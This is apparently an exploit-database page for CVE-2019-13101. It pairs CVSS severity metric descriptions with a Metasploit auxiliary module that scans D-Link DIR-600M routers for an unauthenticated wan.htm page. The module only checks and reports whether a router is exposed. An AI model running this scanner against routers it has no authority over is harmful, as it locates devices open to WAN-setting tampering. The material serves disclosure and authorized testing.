The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: D-Link DIR-600M Authentication Bypass (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-13101 D-Link DIR-600M Incorrect Access Control',
'Description' => %q{
This module attempts to find D-Link router DIR-600M which is
vulnerable to Incorrect Access Control. The vulnerability exists in
wan.htm, which is accessible without authentication. This
vulnerabilty can lead an attacker to manipulate WAN settings.
This module has been tested successfully on Firmware Version
3.01,3.02,3.03,3.04,3.05,3.06.
},
'Author' => [ 'Devendra Singh Solanki <devendra0x0[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
'CVE', '2019-13101'
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 08 2019'))
register_options(
[
Opt::RPORT(80)
])
end
def run_host(ip)
res = send_request_cgi({'uri' => '/login.htm'})
if res.nil? or res.code == 404
print_error("#{rhost}:#{rport} - Host is down.")
return
end
if res and res.code == 200 and res.body =~ /D-Link/
print_good("#{rhost}:#{rport} - It is a D-Link router")
else
print_error("#{rhost}:#{rport} - Not a D-Link router")
return
end
res = send_request_cgi({'uri' => '/wan.htm'})
if res and res.code == 200 and res.body =~ /PPPoE/
print_good("#{rhost}:#{rport} - Router is vulnerable for
Incorrect Access Control. CVE-2019-13101")
else
print_error("#{rhost}:#{rport} - Router is with different firmware.")
return
end
end
end
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